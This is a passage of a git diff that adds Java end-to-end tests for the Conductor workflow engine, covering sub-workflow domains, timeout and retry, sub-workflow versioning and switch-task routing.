workflow.getStatus().name(), + Workflow.WorkflowStatus.COMPLETED.name()); + + Map workflowTaskToDomain = workflow.getTaskToDomain(); + assertEquals(0, workflowTaskToDomain.size()); + + workflow.getTasks().stream() + .filter(t -> t.getTaskType().equals("SUB_WORKFLOW")) + .forEach( + subWorkflowTask -> { + String subWorkflowId = + subWorkflowTask.getSubWorkflowId(); + Workflow subWorkflow = + workflowClient.getWorkflow( + subWorkflowId, true); + Map subWorkflowDomainMap = + subWorkflow.getTaskToDomain(); + assertEquals(0, subWorkflowDomainMap.size()); + + SubWorkflowParams subWorkflowParams = + subWorkflowTask + .getWorkflowTask() + .getSubWorkflowParam(); + if (subWorkflowParams.getWorkflowDefinition() + == null) { + Integer version = + subWorkflowParams.getVersion(); + log.info( + "version is {} for {} / {}", + version, + workflowId, + subWorkflowTask.getReferenceTaskName()); + // version=null and version=0 both mean "use + // latest" in conductor-oss + if (version == null || version == 0) { + assertEquals( + 3, + subWorkflow.getWorkflowVersion()); + } else { + assertEquals( + version, + subWorkflow.getWorkflowVersion()); + } + } + }); + }); + } + + private static void startWorkers(Set tasks) { + log.info("Starting workers for {} with domainMap", tasks, taskToDomainMap); + List workers = new ArrayList<>(); + // Use unique prefix to prevent conflicts with other test classes + String uniquePrefix = "SubWorkflowTests_" + UUID.randomUUID().toString().substring(0, 8); + for (String task : tasks) { + // SUB_WORKFLOW is a server-side system task; an external worker can steal it before + // the system task attaches the child workflow id. + if (!"SUB_WORKFLOW".equals(task)) { + workers.add(new TestWorker(task)); + } + taskToDomainMap.put(task, uniquePrefix + "_" + UUID.randomUUID().toString()); + } + configurer = + new TaskRunnerConfigurer.Builder(taskClient, workers) + .withTaskToDomain(taskToDomainMap) + .withThreadCount(10) + .withTaskPollTimeout(10) + .build(); + configurer.init(); + + configurerNoDomain = + new TaskRunnerConfigurer.Builder(taskClient, workers) + .withThreadCount(10) + .withTaskPollTimeout(10) + .build(); + configurerNoDomain.init(); + } + + private static class TestWorker implements Worker { + + private String name; + + public TestWorker(String name) { + this.name = name; + } + + @Override + public String getTaskDefName() { + return name; + } + + @Override + public TaskResult execute(Task task) { + TaskResult result = new TaskResult(task); + result.getOutputData().put("number", 42); + result.setStatus(TaskResult.Status.COMPLETED); + return result; + } + + @Override + public int getPollingInterval() { + return 100; + } + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowTimeoutRetryTests.java b/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowTimeoutRetryTests.java new file mode 100644 index 0000000..824b855 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowTimeoutRetryTests.java @@ -0,0 +1,184 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.control; + +import java.io.InputStream; +import java.io.InputStreamReader; +import java.util.*; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import io.conductor.e2e.util.ApiUtil; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +@Slf4j +public class SubWorkflowTimeoutRetryTests { + + private static WorkflowClient workflowClient; + + private static TaskClient taskClient; + + private static MetadataClient metadataClient; + + private static ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + private static TypeReference> WORKFLOW_DEF_LIST = + new TypeReference>() {}; + + private static final String WORKFLOW_NAME = "integration_test_wf_with_sub_wf"; + + private static Map taskToDomainMap = new HashMap<>(); + + @SneakyThrows + @BeforeAll + public static void beforeAll() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + InputStream resource = + SubWorkflowTimeoutRetryTests.class.getResourceAsStream( + "/metadata/sub_workflow_tests.json"); + List workflowDefs = + objectMapper.readValue(new InputStreamReader(resource), WORKFLOW_DEF_LIST); + metadataClient.updateWorkflowDefs(workflowDefs); + Set tasks = new HashSet<>(); + for (WorkflowDef workflowDef : workflowDefs) { + List allTasks = workflowDef.collectTasks(); + tasks.addAll( + allTasks.stream() + .filter(tt -> !tt.getType().equals("SIMPLE")) + .map(t -> t.getType()) + .collect(Collectors.toSet())); + + tasks.addAll( + allTasks.stream() + .filter(tt -> tt.getType().equals("SIMPLE")) + .map(t -> t.getName()) + .collect(Collectors.toSet())); + } + log.info( + "Updated workflow definitions: {}", + workflowDefs.stream().map(def -> def.getName()).collect(Collectors.toList())); + } + + @Test + public void test() { + + String correlationId = "wf_with_subwf_test_1"; + Map input = Map.of("param1", "p1 value", "subwf", "sub_workflow"); + + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName(WORKFLOW_NAME); + request.setVersion(1); + request.setCorrelationId(correlationId); + request.setInput(input); + String workflowInstanceId = workflowClient.startWorkflow(request); + + log.info("Started {} ", workflowInstanceId); + pollAndCompleteTask(workflowInstanceId, "integration_task_1", Map.of()); + Workflow workflow = workflowClient.getWorkflow(workflowInstanceId, true); + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = + workflowClient.getWorkflow(workflowInstanceId, true); + assertNotNull(workflow1); + assertEquals(2, workflow1.getTasks().size()); + assertEquals( + Task.Status.COMPLETED, workflow1.getTasks().get(0).getStatus()); + assertEquals( + TaskType.SUB_WORKFLOW.name(), + workflow1.getTasks().get(1).getTaskType()); + assertEquals( + Task.Status.IN_PROGRESS, + workflow1.getTasks().get(1).getStatus()); + }); + workflow = workflowClient.getWorkflow(workflowInstanceId, true); + String subWorkflowId = workflow.getTasks().get(1).getSubWorkflowId(); + log.info("Sub workflow Id {} ", subWorkflowId); + + assertNotNull(subWorkflowId); + Workflow subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, subWorkflow.getStatus()); + + // Wait for 7 seconds which is > 5 sec timeout for the workflow + try { + Thread.sleep(7000); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + workflowClient.runDecider(workflowInstanceId); + + workflow = workflowClient.getWorkflow(workflowInstanceId, true); + assertNotNull(workflow); + assertEquals(2, workflow.getTasks().size()); + assertEquals(Workflow.WorkflowStatus.TIMED_OUT, workflow.getStatus()); + assertEquals(Task.Status.COMPLETED, workflow.getTasks().get(0).getStatus()); + assertEquals(Task.Status.CANCELED, workflow.getTasks().get(1).getStatus()); + + // Verify that the sub-workflow is terminated + subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + assertEquals(Workflow.WorkflowStatus.TERMINATED, subWorkflow.getStatus()); + + // Retry sub-workflow + workflowClient.retryLastFailedTask(subWorkflowId); + + // Sub workflow should be in the running state now + subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, subWorkflow.getStatus()); + assertEquals(Task.Status.CANCELED, subWorkflow.getTasks().get(0).getStatus()); + assertEquals(Task.Status.SCHEDULED, subWorkflow.getTasks().get(1).getStatus()); + } + + private Task pollAndCompleteTask( + String workflowInstanceId, String taskName, Map output) { + Workflow workflow = workflowClient.getWorkflow(workflowInstanceId, true); + if (workflow == null) { + return null; + } + Optional optional = + workflow.getTasks().stream() + .filter(task -> task.getTaskDefName().equals(taskName)) + .findFirst(); + if (optional.isEmpty()) { + return null; + } + Task task = optional.get(); + task.setStatus(Task.Status.COMPLETED); + task.getOutputData().putAll(output); + taskClient.updateTask(new TaskResult(task)); + + return task; + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowVersionTests.java b/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowVersionTests.java new file mode 100644 index 0000000..3dfd532 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowVersionTests.java @@ -0,0 +1,371 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.control; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.apache.commons.lang3.RandomStringUtils; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import io.conductor.e2e.util.ApiUtil; +import io.conductor.e2e.util.RegistrationUtil; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class SubWorkflowVersionTests { + + @Test + public void testSubWorkflowNullVersion() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + + String taskName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String parentWorkflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String subWorkflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + + // Register workflow + RegistrationUtil.registerWorkflowWithSubWorkflowDef( + parentWorkflowName, subWorkflowName, taskName, metadataClient); + WorkflowDef workflowDef = metadataClient.getWorkflowDef(parentWorkflowName, 1); + // Set sub workflow version to null + workflowDef.getTasks().get(0).getSubWorkflowParam().setVersion(null); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + + // Trigger workflow + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(parentWorkflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + + // User1 should be able to complete task/workflow + String subWorkflowId = awaitSubWorkflowId(workflowClient, workflowId); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(subWorkflowId); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskResult.setTaskId(awaitFirstTaskId(workflowClient, subWorkflowId)); + taskClient.updateTask(taskResult); + + // Wait for workflow to get completed + await().atMost(42, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.COMPLETED.name()); + }); + + // Cleanup + metadataClient.unregisterWorkflowDef(parentWorkflowName, 1); + metadataClient.unregisterWorkflowDef(subWorkflowName, 1); + metadataClient.unregisterTaskDef(taskName); + } + + @Test + public void testSubWorkflowEmptyVersion() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + + String taskName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String parentWorkflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String subWorkflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + + // Register workflow + RegistrationUtil.registerWorkflowWithSubWorkflowDef( + parentWorkflowName, subWorkflowName, taskName, metadataClient); + WorkflowDef workflowDef = metadataClient.getWorkflowDef(parentWorkflowName, 1); + WorkflowDef subWorkflowDef = metadataClient.getWorkflowDef(subWorkflowName, null); + subWorkflowDef.setVersion(1); + metadataClient.updateWorkflowDefs(java.util.List.of(subWorkflowDef)); + subWorkflowDef.setVersion(2); + metadataClient.updateWorkflowDefs(java.util.List.of(subWorkflowDef)); + // Set sub workflow version to empty in parent workflow definition + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName(subWorkflowName); + workflowDef.getTasks().get(0).setSubWorkflowParam(subWorkflowParams); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + + // Trigger workflow + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(parentWorkflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + + // User1 should be able to complete task/workflow + String subWorkflowId = awaitSubWorkflowId(workflowClient, workflowId); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(subWorkflowId); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskResult.setTaskId(awaitFirstTaskId(workflowClient, subWorkflowId)); + taskClient.updateTask(taskResult); + + // Wait for workflow to get completed + // Check sub-workflow is executed with the latest version. + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.COMPLETED.name()); + assertEquals( + workflow1 + .getTasks() + .get(0) + .getWorkflowTask() + .getSubWorkflowParam() + .getVersion(), + 2); + }); + + // Cleanup + metadataClient.unregisterWorkflowDef(parentWorkflowName, 1); + metadataClient.unregisterWorkflowDef(subWorkflowName, 1); + metadataClient.unregisterTaskDef(taskName); + } + + @Test + public void testDynamicSubWorkflow() { + WorkflowClient workflowAdminClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataAdminClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + String workflowName1 = "DynamicFanInOutTest_Version"; + String subWorkflowName = "test_subworkflow"; + + // Register workflow + registerWorkflowDef(workflowName1, metadataAdminClient); + registerSubWorkflow(subWorkflowName, "test_task", metadataAdminClient); + + // Trigger workflow + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName1); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowAdminClient.startWorkflow(startWorkflowRequest); + Workflow workflow = workflowAdminClient.getWorkflow(workflowId, true); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(workflow.getTasks().get(0).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + + WorkflowTask workflowTask2 = new WorkflowTask(); + workflowTask2.setName("integration_task_2"); + workflowTask2.setTaskReferenceName("xdt1"); + workflowTask2.setType(TaskType.SUB_WORKFLOW.name()); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName(subWorkflowName); + workflowTask2.setSubWorkflowParam(subWorkflowParams); + + Map output = new HashMap<>(); + Map> input = new HashMap<>(); + input.put("xdt1", Map.of("k1", "v1")); + output.put("dynamicTasks", Arrays.asList(workflowTask2)); + output.put("dynamicTasksInput", input); + taskResult.setOutputData(output); + taskClient.updateTask(taskResult); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowAdminClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.RUNNING.name()); + assertTrue(workflow1.getTasks().size() == 4); + assertEquals( + workflow1.getTasks().get(0).getStatus().name(), + Task.Status.COMPLETED.name()); + assertEquals( + workflow1.getTasks().get(1).getStatus().name(), + Task.Status.COMPLETED.name()); + assertEquals( + workflow1.getTasks().get(2).getStatus().name(), + Task.Status.IN_PROGRESS.name()); + assertEquals( + workflow1.getTasks().get(3).getStatus().name(), + Task.Status.IN_PROGRESS.name()); + }); + + workflow = workflowAdminClient.getWorkflow(workflowId, true); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(workflow.getTasks().get(2).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + // Workflow should be completed + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowAdminClient.getWorkflow(workflowId, true); + assertTrue(workflow1.getTasks().size() == 4); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.COMPLETED.name()); + assertEquals( + workflow1.getTasks().get(0).getStatus().name(), + Task.Status.COMPLETED.name()); + assertEquals( + workflow1.getTasks().get(1).getStatus().name(), + Task.Status.COMPLETED.name()); + assertEquals( + workflow1.getTasks().get(2).getStatus().name(), + Task.Status.COMPLETED.name()); + assertEquals( + workflow1 + .getTasks() + .get(2) + .getInputData() + .get("subWorkflowVersion"), + 1); + assertEquals( + workflow1.getTasks().get(3).getStatus().name(), + Task.Status.COMPLETED.name()); + }); + + metadataAdminClient.unregisterWorkflowDef(workflowName1, 1); + } + + private String awaitSubWorkflowId(WorkflowClient workflowClient, String workflowId) { + final String[] subWorkflowId = new String[1]; + await().atMost(42, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertTrue(!workflow.getTasks().isEmpty()); + subWorkflowId[0] = workflow.getTasks().get(0).getSubWorkflowId(); + assertTrue(subWorkflowId[0] != null && !subWorkflowId[0].isBlank()); + }); + return subWorkflowId[0]; + } + + private String awaitFirstTaskId(WorkflowClient workflowClient, String workflowId) { + final String[] taskId = new String[1]; + await().atMost(42, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertTrue(!workflow.getTasks().isEmpty()); + taskId[0] = workflow.getTasks().get(0).getTaskId(); + assertTrue(taskId[0] != null && !taskId[0].isBlank()); + }); + return taskId[0]; + } + + private void registerWorkflowDef(String workflowName, MetadataClient metadataClient1) { + TaskDef taskDef = new TaskDef("dt1"); + taskDef.setOwnerEmail("test@conductor.io"); + + TaskDef taskDef4 = new TaskDef("integration_task_2"); + taskDef4.setOwnerEmail("test@conductor.io"); + + TaskDef taskDef3 = new TaskDef("integration_task_3"); + taskDef3.setOwnerEmail("test@conductor.io"); + + TaskDef taskDef2 = new TaskDef("dt2"); + taskDef2.setOwnerEmail("test@conductor.io"); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("dt2"); + workflowTask.setName("dt2"); + workflowTask.setTaskDefinition(taskDef2); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask inline = new WorkflowTask(); + inline.setTaskReferenceName("dt1"); + inline.setName("dt1"); + inline.setTaskDefinition(taskDef); + inline.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask join = new WorkflowTask(); + join.setTaskReferenceName("join_dynamic"); + join.setName("join_dynamic"); + join.setWorkflowTaskType(TaskType.JOIN); + + WorkflowTask dynamicFork = new WorkflowTask(); + dynamicFork.setTaskReferenceName("dynamicFork"); + dynamicFork.setName("dynamicFork"); + dynamicFork.setTaskDefinition(taskDef); + dynamicFork.setWorkflowTaskType(TaskType.FORK_JOIN_DYNAMIC); + dynamicFork.setInputParameters( + Map.of( + "dynamicTasks", + "${dt1.output.dynamicTasks}", + "dynamicTasksInput", + "${dt1.output.dynamicTasksInput}")); + dynamicFork.setDynamicForkTasksParam("dynamicTasks"); + dynamicFork.setDynamicForkTasksInputParamName("dynamicTasksInput"); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + workflowDef.setDescription("Workflow to test retry"); + workflowDef.setTasks(Arrays.asList(inline, dynamicFork, join)); + try { + metadataClient1.updateWorkflowDefs(java.util.List.of(workflowDef)); + metadataClient1.registerTaskDefs(Arrays.asList(taskDef, taskDef2, taskDef3, taskDef4)); + } catch (Exception e) { + } + } + + public static void registerSubWorkflow( + String subWorkflowName, String taskName, MetadataClient metadataClient) { + TaskDef taskDef = new TaskDef(taskName); + taskDef.setOwnerEmail("test@conductor.io"); + taskDef.setRetryCount(0); + + WorkflowTask inline = new WorkflowTask(); + inline.setTaskReferenceName(taskName); + inline.setName(taskName); + inline.setTaskDefinition(taskDef); + inline.setWorkflowTaskType(TaskType.SIMPLE); + inline.setInputParameters(Map.of("evaluatorType", "graaljs", "expression", "true;")); + + WorkflowDef subworkflowDef = new WorkflowDef(); + subworkflowDef.setName(subWorkflowName); + subworkflowDef.setOwnerEmail("test@conductor.io"); + subworkflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + subworkflowDef.setDescription("Sub Workflow to test retry"); + subworkflowDef.setTasks(Arrays.asList(inline)); + subworkflowDef.setTimeoutSeconds(600); + subworkflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + metadataClient.updateWorkflowDefs(java.util.List.of(subworkflowDef)); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/control/SwitchTests.java b/e2e/src/test/java/io/conductor/e2e/control/SwitchTests.java new file mode 100644 index 0000000..220c94e --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/control/SwitchTests.java @@ -0,0 +1,266 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.control; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +import org.junit.jupiter.api.*; +import org.junit.jupiter.api.Disabled; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.sdk.workflow.def.ConductorWorkflow; +import com.netflix.conductor.sdk.workflow.def.tasks.SimpleTask; +import com.netflix.conductor.sdk.workflow.def.tasks.Switch; +import com.netflix.conductor.sdk.workflow.executor.WorkflowExecutor; +import com.netflix.conductor.sdk.workflow.task.InputParam; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; + +import io.conductor.e2e.util.ApiUtil; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; + +public class SwitchTests { + + private static WorkflowExecutor executor; + + @BeforeAll + public static void init() { + TaskClient taskClient = ApiUtil.TASK_CLIENT; + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + executor = new WorkflowExecutor(taskClient, workflowClient, metadataClient, 1000); + executor.initWorkers("io.conductor.e2e.control"); + } + + @Test + @DisplayName("Check if switch works based on the provided input - sms") + public void testSwitchHappySms() + throws ExecutionException, InterruptedException, TimeoutException { + ConductorWorkflow workflow = getSwitchWorkflow(); + WorkflowInput workflowInput = new WorkflowInput("userA", "SMS"); + + CompletableFuture future = workflow.executeDynamic(workflowInput); + assertNotNull(future); + Workflow run = future.get(40, TimeUnit.SECONDS); + + assertNotNull(run); + assertEquals(Workflow.WorkflowStatus.COMPLETED, run.getStatus()); + assertEquals(4, run.getTasks().size()); + assertEquals( + "Sending push for userA[Email: userA@gmail.com][PhoneNumber: 9999999999]", + run.getTasks().get(3).getOutputData().get("result")); + } + + @Test + @DisplayName("Check if switch works based on the provided input - email") + public void testSwitchHappyEmail() + throws ExecutionException, InterruptedException, TimeoutException { + ConductorWorkflow workflow = getSwitchWorkflow(); + WorkflowInput workflowInput = new WorkflowInput("userA", "EMAIL"); + + CompletableFuture future = workflow.executeDynamic(workflowInput); + assertNotNull(future); + Workflow run = future.get(40, TimeUnit.SECONDS); + + assertNotNull(run); + assertEquals(Workflow.WorkflowStatus.COMPLETED, run.getStatus()); + assertEquals(3, run.getTasks().size()); + assertEquals("EMAIL: userA@gmail.com", run.getTasks().get(2).getOutputData().get("result")); + } + + @Test + @Disabled( + "Default case switch workflow does not complete within 20s with SDK-based executeDynamic in conductor-oss; see conductor-oss#SwitchTests-default-case-timing") + @DisplayName("Check if switch works based on the provided wrong input") + public void testSwitchNegetive() + throws ExecutionException, InterruptedException, TimeoutException { + ConductorWorkflow workflow = getSwitchWorkflow(); + WorkflowInput workflowInput = new WorkflowInput("userA", "Whatsapp"); + + CompletableFuture future = workflow.executeDynamic(workflowInput); + assertNotNull(future); + Workflow run = future.get(20, TimeUnit.SECONDS); + + assertNotNull(run); + assertEquals(Workflow.WorkflowStatus.COMPLETED, run.getStatus()); + assertEquals(3, run.getTasks().size()); + + Object resultObject = run.getTasks().get(1).getOutputData().get("evaluationResult"); + ArrayList runResult = null; + if (resultObject instanceof ArrayList) { + @SuppressWarnings("unchecked") + ArrayList safeResult = (ArrayList) resultObject; + runResult = safeResult; + } else { + runResult = new ArrayList<>(); + } + assertEquals(1, runResult.size()); + assertEquals("Whatsapp", runResult.get(0)); + } + + @AfterAll + public static void cleanup() { + if (executor != null) { + executor.shutdown(); + } + } + + @WorkerTask("get_user_details") + public WorkflowOutput get_user_details(@InputParam("userId") String userId) + throws InterruptedException { + return new WorkflowOutput("9999999999", userId + "@gmail.com"); + } + + @WorkerTask("send_email") + public String send_email(@InputParam("email") String email) throws InterruptedException { + return "EMAIL: " + email; + } + + @WorkerTask("send_sms") + public String send_sms(@InputParam("phoneNumber") String phoneNumber) + throws InterruptedException { + return "SMS: " + phoneNumber; + } + + @WorkerTask("send_push") + public String send_push( + @InputParam("userId") String userId, + @InputParam("email") String email, + @InputParam("phoneNumber") String phoneNumber) + throws InterruptedException { + return "Sending push for " + + userId + + "[Email: " + + email + + "]" + + "[PhoneNumber: " + + phoneNumber + + "]"; + } + + @WorkerTask("default_switch_case") + public String default_switch_case( + @InputParam("userId") String userId, + @InputParam("email") String email, + @InputParam("phoneNumber") String phoneNumber) + throws InterruptedException { + return "No activity found for " + + userId + + "[Email: " + + email + + "]" + + "[PhoneNumber: " + + phoneNumber + + "]"; + } + + public static class WorkflowInput { + private String userId; + + public String getNotificationPreference() { + return notificationPreference; + } + + public void setNotificationPreference(String notificationPreference) { + this.notificationPreference = notificationPreference; + } + + private String notificationPreference; + + public WorkflowInput(String userId, String notificationPreference) { + this.userId = userId; + this.notificationPreference = notificationPreference; + } + + public String getName() { + return userId; + } + + public void setName(String name) { + this.userId = name; + } + } + + public static class WorkflowOutput { + private String phoneNumber; + private String email; + + public WorkflowOutput(String phoneNumber, String email) { + this.phoneNumber = phoneNumber; + this.email = email; + } + + public String getPhoneNumber() { + return phoneNumber; + } + + public void setPhoneNumber(String phoneNumber) { + this.phoneNumber = phoneNumber; + } + + public String getEmail() { + return email; + } + + public void setEmail(String email) { + this.email = email; + } + } + + private ConductorWorkflow getSwitchWorkflow() { + ConductorWorkflow workflow = new ConductorWorkflow<>(executor); + workflow.setName("sdk_switch_test"); + workflow.setVersion(1); + workflow.setOwnerEmail("test@conductor.io"); + + SimpleTask getUserDetails = new SimpleTask("get_user_details", "get_user_details"); + getUserDetails.input("userId", "${workflow.input.name}"); + workflow.add(getUserDetails); + + SimpleTask sendEmail = new SimpleTask("send_email", "send_email"); + // get user details user info, which contains the email field + sendEmail.input("email", "${get_user_details.output.email}"); + + SimpleTask sendSMS = new SimpleTask("send_sms", "send_sms"); + // get user details user info, which contains the phone Number field + sendSMS.input("phoneNumber", "${get_user_details.output.phoneNumber}"); + + SimpleTask defaultSwitchCase = new SimpleTask("default_switch_case", "default_switch_case"); + Map inputDefault = new HashMap<>(); + inputDefault.put("userId", "${workflow.input.name}"); + inputDefault.put("email", "${get_user_details.output.email}"); + inputDefault.put("phoneNumber", "${get_user_details.output.phoneNumber}"); + defaultSwitchCase.input(inputDefault); + + SimpleTask sendPush = new SimpleTask("send_push", "send_push"); + sendPush.input(inputDefault); + + Switch emailOrSMS = + new Switch("emailorsms", "${workflow.input.notificationPreference}") + .switchCase("EMAIL", sendEmail) + .switchCase("SMS", sendSMS, sendPush) + .defaultCase(defaultSwitchCase); + workflow.add(emailOrSMS); + 